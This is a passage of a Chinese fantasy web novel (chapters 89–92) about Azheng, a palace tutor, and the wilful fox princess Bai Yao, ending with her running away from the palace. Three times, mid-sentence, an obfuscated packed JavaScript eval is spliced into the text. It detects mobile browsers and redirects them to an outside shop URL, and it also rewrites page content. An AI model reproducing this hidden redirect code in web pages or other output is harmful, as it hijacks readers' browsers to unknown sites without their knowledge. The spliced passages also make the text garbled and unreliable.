白家的美貌天界皆知,永昭殿下更是如珠如宝。 阿筝少时参加天庭聚会,曾远远地见过永昭殿下一面,让他难以忘怀。 永昭毫不避讳地凑到阿筝身旁嗅了嗅他手中的烤鸟,眼睛一亮,转过头冒着星星眼问:“可以给我一点吗?” 阿筝手上一抖,烤鸟差点掉进火堆里,油滴入火中,顿时火星崩裂在暗夜中啪啪作响。他红着脸将木叉递给永昭,永昭指着烤鸟问:“都给我?” 他木讷地点点头。 永昭不客气地接过,没有架子地啃起来,红唇沾上了油渍晶莹发亮,眉目洋溢着满足的神情。 阿筝偷偷打量永昭,看她吃的不顾形象,像是饿得很了。永昭口中撕扯着鸟肉,目光一瞥,与阿筝的视线对上。 阿筝匆忙撇开头,看向别处。 永昭舔舔唇,别有意味地打量了他几眼,一本正经地说:“我平时不是这样的。我平时很端庄的。” 阿筝噗嗤一声笑了出来,又赶紧收了表情,不苟言笑地望着火堆。他很久没笑过了,已经忘了笑是什么滋味,但适才却不由自主地笑开了,他甚至没有反应过来。 永昭又咬了一口,含混不清地说:“要不是有个......我才不会这么饿。” 阿筝没有细细去听她的话,只道她是有任务耽搁了。 月明星稀,火光映衬在两人的脸上,照的人影晃晃。 永昭吃完了整只烤鸟,望着阿筝空空如也的手,暗道不妙,她把人家的晚餐吃了他晚上吃什么? 她一任青丘之主怎么能与臣民抢吃的?说出去白家的笑话又多了一条! 永昭眼珠在阿筝身上转了一圈儿,露出深思,然后一挑眉,伸手拍了拍他的肩:“没想到你竟是躲在了这里,算是我青丘招待不周。既然你请我吃东西,那就跟我回宫吧。” 阿筝被吓得往后挪半步,不明所以地看着永昭,后者毫不在意对他笑了一下,笑容纯净自然。 阿筝心里一颤,那种虫噬的痛又从心口蔓延开来。 “怎么了?你不愿意?”永昭睁着灵动的大眼睛问道:“我对天界的纷纷扰扰不感兴趣。长乐宫很安全,不会有人知道你的过去。”几句话道明她已经知道了阿筝的身份。 永昭殿下慧眼识人,想知道他的身份并不难,但邀请他去宫中是万万没想到的。阿筝孑然在这山林中过了太久,他已经不知道如何回到人群之中。 永昭殿下冰雪聪明,又说道:“你在宫中可以随意挂个职位,闲暇之余做自己喜欢的事。” 阿筝听了心中一动,长乐宫确实比他孤身待在山中安全许多,还能获得更多外界的消息。但永昭殿下为何要帮他?难道就因为一只烤鸟? 永昭见他犹豫,补充道:“你无需多想。你父亲与我有过交情,我相信你的品性。你若是喜欢可以长久留在宫中,宫里多养个人还是养得起的。你若是日后另有安排,随时走便是了。” 她给的条件太诱人,阿筝心中产生了动摇。永昭殿下若是想要对他不利,大可以直接挟持他,不必询问自己的意见。如果永昭殿下想要利用他,至少说明他还有利用价值。 阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137753|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筝只说自己需要些时间考虑,永昭殿下便不再提这件事。 空中划过一道哨音,一个身披软甲的高大身影落在两人面前。来者剑眉星目,面部线条硬朗,宽肩窄腰,形貌带着一股锐气。 他不动声色地扫了阿筝一眼,目光落在永昭油润的嘴唇上,微微停滞,然后才出声道:“昭儿。你又乱跑了。” 永昭殿下身上一僵,微微向后躲了一下,在对方越加严肃的眼神中,挺了挺胸:“我不小心迷路了。” 来者显然不信:“要不要帮你大肆宣传一下,青丘之主在青丘境内居然会迷路。” 永昭殿下没有理会他的讽刺,转头对阿筝说:“这位是凝寒,是我的侍卫,也是青丘的武将。” “这位是......”永昭殿下与阿筝对视一眼,须臾眼珠一转:“不如换一个青丘的名字重新开始,就叫有苏吧。” 阿筝点点头。 凝寒望了他一眼,对他似乎不敢兴趣,又对永昭殿下说:“刚才的事没完,你为什么丢下我一个人走了?” 永昭殿下突然捂着嘴干呕起来,凝寒慌忙扯了水袋递给她,又拍了拍她的背。永昭殿下顺了口气,虚弱道:“现在就开始折腾,长大了还得了?”凝寒又从袋子里拿了些爽口的果子给她吃,不再提刚才发生的事。 阿筝不知道他们在说什么,只是他离这种温情实在太过遥远,他垂眸掩去眼中的酸涩,默默挪到远处,往着燃烧的火焰发呆。 永昭殿下与凝寒没有逗留多久便离开,临走时永昭殿下留下句头,说希望能快点看到他,闻言凝寒的目光在他身上多停留了一会儿,眼神中微微透露着不善。 三个月后,长乐宫。 一群侍女们挤在偏院外探头,被侍卫呵斥:“有什么好看的,出去!”侍女们三步一回头,不服气地说:“人家样貌好看又知礼节,不知比你们好看多少。”嘻嘻哈哈之后,一哄而散。 阿筝初入长乐宫,虽然永昭殿下说他可以只挂个职位,但他依旧本本分分做起了侍从的工作。 永昭殿下有些显怀了,这就不得不提到她的夫君公子鸢。 公子鸢出身显贵,样貌乃天界公认之首,举止端庄大气,时常穿着鲜艳亮丽、雍容华贵的服饰。其中一件白底红纹、身侧与两袖镶绣大朵金叶红花的长袍,显得肤白貌美、人比花俏,更是一经亮相就在宫内掀起一片艳羡之声。 林花谢了春红,永昭殿下诞下了一位小公主,取名为瑶,希望她永远珍贵美好,将自己的光辉照耀世人。 阿筝端坐在院中的石桌前,桌上摆着一把古老的桐木七弦琴,他抚了抚琴身,轻轻舒了一口气,将手搭上琴弦。清风将浑厚又细腻的曲调带去了宫里的每个角落,希望永昭殿下能获得一丝安宁。 青丘后继有人,宫内外喜气云腾、盛况空前。宫里的红灯笼挂了一年,灯海串联,温暖的光涌进了每个人的心里。 阿筝望着喜气洋洋的宫人,想到自己出生时族中约莫也是这种景象。 他仿佛能通过灯笼中摇曳的光晕,看到父亲母亲喜悦的神情。族中张灯结彩、灯火辉煌,清脆的神鼓与摇铃声盘旋在空中,久久不绝。人们穿着鲜艳图腾的霓裳,聚在火堆旁唱歌跳舞,歌舞大会三天三夜不眠不休。 风吹灯摇,缥缈的虚影忽而远去,只剩他一人站在空荡荡的院中,努力将自己的身躯挤进灯火所及之处。 90. 第 90 章 前来祝贺小公主降生的妖仙络绎不绝。小公主长得极是可爱,见过的赞不绝口,都说有帝王之相,青丘鸿运将至。 一波喧闹的宾客离开后,阿筝留在公主殿外洒扫,他不喜借助仙力,只要一使用那股力量,就会被拽入深深的回忆漩涡中。落叶纷飞,脚边叠了一层又一层,似乎总也扫不完。阿筝不紧不慢地将落叶归拢,抬头隔着窗棂遥遥望了一眼殿内的小木床,床内安放着一团小小的、隆起的锦绣被褥。 他停下手中的活儿,不由自主地走近窗边,远远看到小小的人儿睁着灵动的大眼睛望着房梁,未尽尘世的眼睛亮如琥珀,形状像极了永昭殿下。她懵懂地望着高处,伸出小手,在空气中乱挥,口中咿咿呀呀地叫着,嘴角咧开了一个有趣的弧度,在幼嫩的脸颊上留下两个小巧的酒靥。 就这一撇,让阿筝心里一动,仿佛一场淅淅沥沥的春雨过后,一些早已在他身体里枯竭的东西重新生根发芽。他仿佛看见一道微弱又顽强的白光从心口涌出,吞食了折磨他多年的虫子。 他突然感受到了一丝陌生的喜悦。 他握着扫帚伫立在窗前,久久无法回神,思忆起永昭殿下对他的知遇之恩,暗道自己一定要好好照顾小公主。 殿前忽而卷起一阵风,惹得树叶沙沙作响。 屋脊上突然出现一袭橘红色的身影,像一团火焰绽放于骄阳的光晕之中。 “没想到你竟是躲来这儿了。”凤钰手持折扇迎风而立,眯着眼轻声笑道。 对于凤钰其人,阿筝的感受非常复杂。凤钰从华胥族中带走了燃魂灯,将他仍在荒山野岭自生自灭,甚是可恶。但若是没有凤钰,燃魂灯不知会落入何人之手,阿筝当日也未必能顺利出逃。 阿筝握紧了手中的扫帚,警惕地问:“你来做什么?” 凤钰随意打量他几眼,越过他望向窗内,喃喃:“我今天不是为你而来。” “你......”阿筝顿时心里一沉,往窗前一挡。 橘红的身影从屋顶飞身而下,冲进院内,与阿筝徒手过招。阿筝不善近搏,几招过后,很快被凤钰挣脱。 凤钰翻身跃进屋内,阿筝紧随其后。凤钰脚未落地就向小公主伸出了魔爪,阿筝慌忙扯住他的袖摆与他僵持在半空。 “你想对公主做什么?”阿筝拼命拉扯着他,一张洁白的脸涨得通红。 凤钰挑了挑眉,语气轻浮地说:“你猜。”袖子借了巧劲一推一扬,甩开阿筝的同时,将小公主连人带被褥一同从床上捞起。 红色锦被包裹中,小公主睁着大眼睛好奇地打量着他,眨了眨眼睛,伸手胡乱一抓......差点将凤钰一缕头发扯下来。 “你手劲还挺大。”凤钰疼得眼角一抽,低下头去解救自己的头发,没想到小公主突然一个鲤鱼打挺,在他脸上啄了一下,回落在被褥时,咯咯咯咯地笑起来,那双透亮的眼睛越发光彩夺目。 温润的触感划过脸颊,凤钰手一抖,这孩子不得了,比她爹娘有过之无不及。 阿筝被强大的推力撞倒在门边,顿时头晕目眩,一慌神的功夫见凤钰抱起了小公主,心里一惊:“放下公主!”他挣扎起身,紧紧盯着凤钰的怀中,几欲上前争夺,又恐惊着了小公主。 殿内平地卷起一阵旋风,公子鸢华丽的孔雀羽绒衣像湖水掀起圈圈波澜,流光溢彩瞬间照亮了整个房间。 凤钰眼神一变,带着几分不屑道:“好久不见。” 公子鸢少见地板着一张脸,目光先是落在小公主身上,仔仔细细看了几遍,确认他闺女安然无恙后,才不耐烦地瞥了凤钰一眼,冷声道:“你来做什么?” 凤钰轻哼一声:“听说你生了个姑娘,来看看是不是和你一样丑。” 丑?阿筝偷偷看了一眼公子鸢。 公子鸢是何人?当年汇集天界名流贤士的“沧澜宴”上,贵公子乘一席轻纱薄帐的软塌从天而降,四名俊朗的童子侍奉左右,光是凭借轻纱虚掩的美貌就能震惊天界,引来无限的流言与遐想,几万年后依旧还流传着他的传说。 怎么也不可能与丑字挂边。 不过,公子鸢与凤钰两人在容貌上都属于明艳型,且都喜鲜艳的颜色,总会有脸盲的神仙傻傻分不清楚。两人又都是争强好胜的主儿,于是几次见面(比美)都不欢而散。 小公主听了眉头一敛,举起小拳拳在空中乱挥。 公子鸢随手从桌上拿了把铜镜丢在凤钰面前,纤细如玉的手指从袖口滑出,指着地上的镜子道:“睁大你的三角眼看清楚,你嫉妒我的样子真像个泼夫。” 凤钰才不会示弱,直接戳人痛处:“我嫉妒你?嫉妒你做个被关在囚笼中的鸭子?嫉妒你夫人身边还有一位英俊的侍卫?” 永昭殿下在天界位高权重,平日里行事作风颇有些肆意,身边还有一位跟随她多年的年轻随侍,难免会惹人非议。凤钰这话任谁听了都知道,他是在故意膈应公子鸢。 公子鸢眼中冒着寒意,冷声道:“我爱她也尊重她,与旁人无关,你身边莺莺燕燕虽多,但有人是真心待你吗?” “嗤”凤钰下意识想要嘲讽,突然嘴角一僵,表情有些不自然,连看小公主的眼神都变了变,最后将小公主往公子鸢手里一搁,阴阳怪气嘴上一句:“反正我干不来这么伟大的事!” 凤钰来得快去的也快,行事作风一如往常让人摸不着头脑。公子鸢将小公主翻来覆去查看了几遍,确认没有一丁点事,幽幽地叹了口气:“你可千万别学你娘招蜂引蝶。” 公子鸢安置好小公主,转头抬眼看了一眼安静站在一旁的阿筝:“做的好。”目光在阿筝身上停留了一会儿,思忖道:“听说你饱读诗书,精于乐理?” 阿筝摸不准他为何这么问,点了点头。 公子鸢如春水般的眼波一荡,脸上浮现丝丝笑意:“这样,你就留在公主殿吧。” 。 公子鸢打的好算盘,借了阿筝乐理与术数的才学,留下他未来给小公主做教习先生。 小公主在阿筝眼前一天一天长大,性子完美继承了公子鸢的聪明伶俐与永昭殿下的悠扬洒脱,同时又自我发展出了任性顽劣,宫里安宁的日子越来越少。 永昭殿下头疼得很,干脆让阿筝提前上任,让小公主趁早踏入无涯学海,在知识的海洋中尽情遨游。 阿筝顶着压力上任,也许是因为他一直陪在小公主身边,小公主敬他三分薄面,上课时她托着下巴睁着大眼睛,视线一直锁在他身上,一刻也没有挪移。 阿筝心中宽慰,觉得孺子可教。 几天过后他忽然发觉异常,小公主上课虽然全神贯注,但从课业来看,她好像什么也没听懂。 小公主的教育关系到青丘的未来,阿筝一不能辜负永昭殿下的信任,二不能让小公主断送在自己手中,于是课后他将小公主招至桌前谈话,问她经书上的内容是否还有不理解的地方?远古神族、妖族、兽族的图谱可有认真记下?心法练得如何? 小公主圆溜溜的眼睛含着戏谑问:“有苏先生,你知道为什么我不捉弄你吗?” “......” 小公主莞尔一笑:“因为你好看。” 阿筝手一抖,桌上的砚台砸在地上,“啪”的一声水墨溅了他一身。 小公主垂眸在他污迹点点的衣摆扫视一圈,抬眼说:“不过没有我爹爹好看。”顿了一下,又补充道:“但比宫里那些侍人还是养眼多了。” 课后谈话并没有产生良性效果,反而以先生落荒而逃告终。 小公主不好好学习的事很快被公子鸢看破,捅到了永昭殿下处。 阿筝以为自己的教书生涯终于可以落幕,不料永昭殿下并没有责罚他,而是狠狠教训了小公主一顿,罚她将过去学的经文心法全部手抄一遍,不抄完不准出去玩儿。 小公主学了几百年,念过的书在藏经阁堆了几间屋子,让她全部手抄一遍?小公主当场痛哭,拉着阿筝的袖子不松手,边啜泣边说,“有苏先生我错了,我日后一定好好学习,我都听你的......” 阿筝见小公主哭的心都要碎了,但见永昭殿下并没有收回命令的意思,叹了口气说:“都是为了你好。” 小公主吸了吸鼻子,又去扯着公子鸢的袖子不松手,呜呜地说:“爹爹我不敢了你劝劝娘娘......” 公子鸢看得心里一抽,将小公主抱起来,抹了她的眼泪,轻声细语地说:“你乖乖待在屋里,边抄边将过去所学复习一遍,几年时间很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137754|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就过去了。” 小公主彻底崩溃,放声大哭。 到底是亲生的,小公主并没有在抄书上消耗几年时间,转眼几个月后又是一条好汉。 这天,阿筝正坐在院中的石桌旁看书,读到页末,掀起了书页的一角正要翻篇,余光瞥见一抹与周遭的绿意格格不入的粉色。抬头望去,只见一个粉雕玉琢的小人躲在树丛中,不安分地露出两只圆溜溜的眼睛与他对视,见他发现了自己也不惊慌,依旧直勾勾地望着他。 阿筝对小公主的顽皮习以为常,以为她只是在玩捉迷藏,于是并未起身,又将目光落回了书上。 片刻,院外传来一阵脚步声。 随着永昭殿下气势汹汹地迈进院子,阿筝立刻起身恭迎。 永昭殿下不注重繁文缛节,摆摆手示意阿筝不必多礼,话一出口却明显带着怒气:“可有看见白瑶?” 连名带姓喊小公主的名字,看来是又闯祸了。 阿筝不经意地瞥了树丛一眼,人影不见踪迹,大抵是听见声响又躲去了别的地方。 阿筝心中叹了一口气,不露痕迹地问道:“我今日一直在树下看书,并没有见到小公主,出了什么事吗?” 永昭殿下攥紧拳头,眉间带着烦躁道:“她爹爹给她做了一只皮球,她拍着拍着玩到了大殿上去,我正在与大臣商讨大事,她进来后也不避讳。左相看不惯说了几句,她还和人顶嘴。我青丘之主居然连女儿都管教不好,别人在背后不知怎么议论呢。” 阿筝思忖片刻:“殿下,小公主天性使然,又受不得半点委屈,确实需要好好教育。不过她年纪尚小,还需循循善诱,不可操之过急。” 永昭殿下别有深意地看了他一眼,喘了口气:“你就惯着她吧。她这次犯得事说大不大,说小不小,但得罪了左相那硬骨头,以后恐怕会有麻烦。真会给我找事。” 永昭殿下又瞥了他一眼,凝眉道:“若是看见瑶儿了,让她自己过来认罚,她是青丘之主的女儿,就是天大的事也不能躲起来。” 永昭殿下走后,阿筝转身走向偏院中的厨房,半晌端出了一盘精致的芙蓉酥和一碗温热的甜酿放在院子的石桌上,对屋内轻唤:“公主,殿下走了。今日做了芙蓉酥,你出来尝尝。” 闻声,房门推开了一条缝隙,小公主躲在门扉之后暗中观察片刻,确认没有潜在危险,才推门而出。 小公主正巧肚子饿了,爬上凳子,看见做成一团团淡粉色花朵的芙蓉酥两眼放光,不一会儿就吃完一个,又去拿第二个。 阿筝倒了杯热茶,缓缓说:“公主,你和殿下发生什么事了?” 小公主的手一顿,斜斜瞥了他一眼,嘟囔道:“我玩皮球不小心滚进大殿,我进去捡,没想到他们正在议事。娘娘就不高兴了。” 阿筝又问:“那左相是怎么回事?” 小公主抿了下唇:“施未羽那人古板又顽固,看不惯本公主活泼可爱,在大殿上当着众人要娘娘加大我的课业,对我严加看管。还说如有必要,她可以亲自辅导。她算什么人?凭什么管教我?我就怼了她几句,娘娘的脸色越发不好,我就溜了。” 阿筝又在心里叹了一口气,道:“公主,你肩负着整个青丘的未来,言行代表的是白家也是青丘的颜面,注意些总是没错的。” 小公主连吃了两块芙蓉酥,正在兴头上,听见阿筝的话顿时眼神一暗,继而水雾渐渐漫上了她的眼睛,嘴角向下,一副泫然欲泣的模样,仿佛受了天大的委屈:“有苏先生,你是要为她们说话?她们欺负我小,不懂事,可是我说的也没错呀。我是主,她是臣,娘娘当着她的面让我难堪,我的面子就不重要了?” 阿筝见不得小公主受委屈,顿时心疼不已,赶紧哄道:“不是的。有苏先生永远和你站在一边。不过你也要长大,不能因为我们宠着你就任性,过会儿去找殿下,和她好好说说。她是你的母亲,不会为难你的。左相此人虽然老派,但对青丘忠心耿耿,你要让她服气,不能光靠嘴上说说,而是要做给她看。” 阿筝陪着小公主长大,他说的话小公主多少能听进去些。她拧着眉似懂非懂地点点头,拍了拍手上的酥屑,又喝完一碗甜酿,把肚子撑得饱饱的,才鼓起勇气去找永昭殿下认错。 91. 第 91 章 在三天打鱼两天晒网的修习生活中,宫里迎来了小公主的千岁宴。 千岁宴是白家自古以来的传统,青丘重臣、白家亲族汇聚一堂,庆祝幼子千岁诞辰。妖仙千岁约莫等同于凡人总角之年,于他们是知事、懂礼的岁数,也意味着他们不再是懵懂孩童,并且再过不久就将迎来成人之礼。 宫里提前一年便着手准备,各宫殿屋宇张灯结彩,满眼望去全是喜庆的红漆与纸花。屋上每一处瓦砾都擦得锃光发亮,每一块石板都修饰得水润光滑,就连园中的花草都引入了新的品种,整座长乐宫焕然一新。 天色将晚,宫中鲜亮的色彩揽落日之光辉,倒映在渺渺余霞中,层层云海翻涌,像是相继绽开的红花。 宾客陆陆续续到场,纷坐在宣门殿的两侧。阿筝不想引人耳目,于是择了一殿内隐蔽处默默观察席上的动静。 千岁宴初始,永昭殿下在大殿之上端端以坐,身侧坐着主君公子鸢,侍卫凝寒则是坐在阶下离永昭殿下最近的位置。 小公主头戴金叶珠光步摇冠,身穿惊鸿云裳跟随侍者从前殿走过,上衫金丝勾勒流云飞鸿图,肩上白色的流线像两只展开的翅膀,腰间一束,锁着一连串斑斓花玉,隐隐约约已有少女的腰身。 她拖着长长的裙摆迈上大殿的台阶,似乎是感受到了一众赞叹的目光,不经意间眼中流露出一丝得意。刹那间眼波流转,还没长开的面容洋溢着单纯的笑容,像只将开未开的花骨朵。 她站在台阶上回首眺望大殿内端坐的臣民,端庄的笑容带着一丝生涩,目光略略扫过几位熟悉的面孔,忽而停在某处,很快又不着痕迹地挪开。 若不是对白瑶极为熟悉的人,很难察觉适才她神色一瞬间的转变。 阿筝在暗处注意到了这一点,顺着她的目光向四周打量了一番,一圈下来并未见到什么不妥。再次向大殿上望去时,却发现落座的小公主,微微嘟起唇,像是在生闷气了。 他按捺不住向前一步,再次观察起席间的动静,目光环视一周,突然撞上一束清冷的目光。 殿上左侧席中傲然独坐一位男子,白衣胜雪,面如寒玉,一身银丝镶嵌的衣袍衬得他身姿挺拔、清冷出尘。发间系着一根银色缎带,青丝随意地垂在身后。 远山云雾般的眉眼透着浅淡与疏离,像一层朦胧的薄纱将众人隔绝在外,冷峻的神情让他周身染上几分寒凉之意,如同冷月银辉,遥不可及。 在白瑶捏着余光,如同掩耳盗铃一般向他望来时,他微微敛袖,盖住了腰侧那块并不惹眼的玉佩。 那块和白瑶腰侧悬挂的斑斓花玉,同等罕见材质的镂雕沁色玉佩,不过颜色更为素净一些。 阿筝不知为何白瑶会注意到这一细节,但在如此重要的场合,与一陌生男子撞了佩饰,委实令人不悦。 虽然佩饰是小公主自己选的,但她之所以会选择斑斓花玉,而非金银翡翠,说来还与阿筝有些关系。阿筝喜玉,屋中摆着一盆斑斓玉雕,叫小公主常年耳濡目染,或许做选择时无意识选了熟悉的。 那名男子的气质与这喧闹的场合格格不入,很难不引起异样的目光,殿内传来低声议论,有人小声问道:“那就是晏家的公子?” 认识他的人不多,他也鲜少出现在世人面前。 席间问了一圈,才有辈分极高的人点点头:“是了,他好像还是第一次出现在这种场合。” “早先有所耳闻,但从未见过,今日一见果真气质不凡。” “听闻他仙术极为精进,但向来深入简出,是个隐世高人。” “后生可畏后生可畏。” 小公主微微挑眉,深深看了一眼那位晏家公子,对方似乎对她不感兴趣,冷淡的目光随意落在某处,始终没有向她投来一瞥。小公主好似找到了什么新奇的游戏,他不愿看她,那她就偏偏要出现在他的视线里,如此几番,刚才的烦闷一扫而光,转变成了一种暗暗兴奋。 宴席一开,舞乐争相登场。几番推杯换盏,众人沉醉其中。 这场声势浩大的宴会在阿筝的记忆中理应是深刻的,因为这是在他脱离华胥氏后数千年第一次见到这么多仙人。但神奇的是,他脑海中关于宴会表演的画面十分模糊,只记得跳舞的衣裙鲜亮刺眼,但配乐委实一般,水平犹如华胥氏初学乐理的孩童。 永昭殿下偶尔与宾客寒暄几句,将青丘之主的威严与家主的待客之礼结合得天衣无缝。巴结公子鸢与凝寒的客人不少,但两人都不是好相与的主儿,一位端着架子难以亲近,另一位不善交际生硬得很。 唯有晏离始终独坐在席上,并不与人交谈,也未仔细观赏着舞乐,只是偶尔斟一杯酒,举手投足端的极为雅致,与此间浮华喧嚣格格不入。 小公主瞥见几次,眼中带着揣摩,叫永昭殿下看了去。她小声吩咐近旁的侍从,不一会儿便有人前往席间拜会晏离。 晏离终于侧首向大殿之上回望一眼,眼中难见半点波动,不过还是起身穿越众人而来。 他一身白衣极为清冷,与生俱来的孤寂,犹如寒夜中的缥缈雪花,仿佛一碰就会碎裂。走得近了,才恍然看清他衣襟上的银色流云暗纹,含蓄不失贵气,素雅却又得体。 待他靠近,小公主不自觉提起一口气。 永昭殿下将晏离招呼到近前:“你是晏家的孩子?” 晏离俯首作揖,丝滑的白银广袖顺着双臂滑下,像是白鹤振翅一般。 “回殿下,是。” 永昭殿下与公子鸢暗暗对视一眼,不紧不慢道:“听闻晏家出了一位仙术绝学,不过千岁时就能将青丘流传的全部仙术运用自如,更能自创一套术法,只是平日避世而居,难以得见真容,今日一见,果真不同凡响。” “殿下谬赞。臣素来喜静,不善交际,便出世修行罢了。”晏离冷沉应答。 永昭殿下点点头:“这大千世界纷纷扰扰,能潜心修行并不容易,青丘有你这样的后辈属实不易。”她眼珠向下一瞟,似有所指道:“只是终日隐居山林浪费了一身才学,若是能传道受业,既能教学相长,又能助青丘兴旺,岂不是一桩美事。” 小公主微微一愣,疑惑地看向永昭殿下与公子鸢,刚要说话被公子鸢一记警告的眼神制止回去。 晏离波澜不惊:“臣修习仙术只为静心养性,没有旁的想法。且臣未从师,亦不解师之道,何以为师?” 说自己修行从不靠老师,多少有些孤傲了。小公主看他的眼神又变了变,微微鼓起腮。 永昭殿下也不恼,反而轻笑道:“我本想让你常来长乐宫,指点指点瑶儿,看来她是没这个缘分。” 被点名的小公主恍然明白过来,眼神中的不满已如覆水难收,直到晏离回到席间,她的眉头也未舒展开。 席中休息,宾客前往后花园赏月。小公主在众仙的簇拥下走出大殿,趁周围的仙人抬头赏月间隙,偷偷溜出人群,招呼阿筝上前,眼睛一眨不眨地盯着不远处比月光还要清冷的白色背影问:“有苏先生认识他?” 阿筝步子一顿,看向远处的身影:“我曾听过他的琴。” 说来,阿筝幼年时曾与晏离有过几面之缘,那时华胥氏尚在,他随父亲出族前往长乐宫拜见永昭殿下,路过一座仙山时惊闻山中有人抚琴,那声音清雅空灵,似琴非琴,别有一番韵味。华胥氏善乐理,父亲对此人颇为好奇,于是上山拜访,却被拦在门外。 父亲回族后时常回忆起那音律,按捺不住,又登门拜访了数次,才得见一次晏离的真容。他本以为能弹奏出如此韵味的高人一定是一位经历颇丰的老者,谁料居然是一位风姿翩然、样貌出众的少年,与他的筝儿一般大。 自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137755|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那以后阿筝便时常听父亲提起晏离,以此鞭策他在音律上须更为上进,不然华胥氏在乐理上恐地位不保。 小公主更加好奇:“他是什么人?为什么会在这里?” “他是您的表哥。” 小公主眨眨眼:“他为什么不姓白?” “晏家也是青丘狐族之一。” “呵。那可够远的。”小公主目光远远落在晏离不染纤尘的白袍上,盈盈月光落在他的肩上,如雪如霜。她挑了下眉,喃喃道:“居然还有这样的人......” 阿筝听了眉头一敛,觉得不妙,出声打断:“公主......” 小公主眼中已旁若无物,眼看晏离绕过花丛,视线追随他而去:“我去见他。你待在这里,母上若是问起,你就胡诌个理由。” “公主......” 小公主头也不回地跟了过去。 胡诌?说的轻巧。永昭殿下若想知道,还能找不出她的踪迹?阿筝叹了口气,在园内停留了一会儿,不见公主回来便往殿内走去。 永昭殿下与宾客寒暄完,转头看了他一眼,小声问:“瑶儿呢?” 阿筝呼吸一乱:“她在外头与客人谈话。” 永昭殿下垂了下眸,继而眼神上挑:“哪位客人?” 阿筝低着头:“是位姑娘,看着面生,不知是谁。” 未等永昭殿下说话,旁边传来公子鸢的轻笑:“哪位姑娘能入我姑娘的眼?我看她刚才就盯着晏家小子,现在一定是去缠着他了。” 知子莫若父,永昭殿下与公子鸢何等聪慧,只需一个眼神便知道小公主在想什么。 永昭殿下有些不悦:“小小年纪不好好修行,总关心这些有的没的。男人能当饭吃?她若是将这份心思放在学习上,经书早背完了。” 公子鸢冷冷瞥了永昭殿下一眼:“我看她是在学你。” 永昭殿下话音一顿,冲公子鸢道:“学我怎么了?我有本事将你拿下,她有办法靠近那冷若冰霜的晏家公子吗?”话锋一转,眉间流露出一丝担忧:“希望晏家公子能撑住。” 如永昭殿下所料,小公主高高兴兴地去,恓恓遑遑地回。他们之间发生了什么,小公主大概永远不会说。宴会的后半段晏公子早早离席,小公主沉默半晌,很快又恢复了没心没肺的模样。 宾客离席已是深夜,月色昏沉,如同拢上了一层薄纱。阿筝送小公主回房时她已睡意朦胧,临到公主殿,小公主拉着阿筝的袖子突然问道:“我什么时候才能出宫?” 阿筝只当她在宴席上听了什么,对外面的世界产生好奇,答道:“按青丘的传统,再过五百年,等到你一千五百岁时便能自行出宫游历。” 小公主倒吸一口气,眼珠一转:“竟然还要五百年,那时候我都老了,有没有办法现在就出去?” 阿筝哑然失笑:“一千五百岁正是青年,那时候你心性已定,出门游历会更周全些。” 小公主脸上不太好看:“真的没有办法吗?” 阿筝点点头:“此事不急于一时,你若是真的想快点出宫,就当好好修习,早日能够独当一面。” 小公主抿抿嘴,眉眼间似乎有些不耐烦:“有苏先生送到这里就好了,我可以自己回去。” 千岁宴一晃而过,日子又恢复了平静。妖仙过了千岁就会越长越快,小公主的个头窜了窜,没过多久就从一个丫头转变成窈窕少女,有几分永昭殿下当年的影子。 其间公主不知为何几次想偷跑出宫去,都被一众侍卫拦了下来。永昭殿下教训了她几句,她反倒像个没事人儿似的,一点没意识到自己的行为有何不妥。 平淡的日子过得飞快且模糊,一晃又不知过了多久,一个月黑风高的寻常之夜,长乐宫忽然如同一锅沸水翻腾起来。 公主失踪了。 92. 第 92 章 公主与她的侍女无恙互换了衣服,无恙装病裹着被子在床上躺了一天,直到第二日晌午才被前来看望的公子鸢发现。 侍卫将宫内翻了个底朝天,只搜到她留下的几句话,约莫是她要去拜晏离为师修习仙术,学成之后自会归来。 永昭殿下被气得说不出话,跌坐在宝座上,合眼揉了揉太阳穴。公子鸢捏着公主留下的一张薄纸,板着俊美的脸,眼中翻腾着怒意,声音冷到了极点:“比原定的日子早了三百年,她现在的修为在外头如何生存,我要去把她找回来。” 永昭殿下胸口起伏了几下,重重拍在宝座的扶手上,厉声道:“让她去!让她出去吃吃苦!我就不信晏离当真会收她为徒!” 凝寒侍卫抱着双臂伫立在永昭身侧,皱眉望向殿外,目色亦有担忧:“若真收了呢?” 永昭殿下呼吸一滞,沉默须臾,迟疑道:“......不能吧?” 公子鸢一想到自己捧在手心的孩子被冰山似的晏离拒绝后,凄凄惨惨戚戚地溜回来,原本的怒意转换为一种心疼,立刻摇了摇头:“不行。晏离若是敢拒绝瑶儿,我饶不了他。” 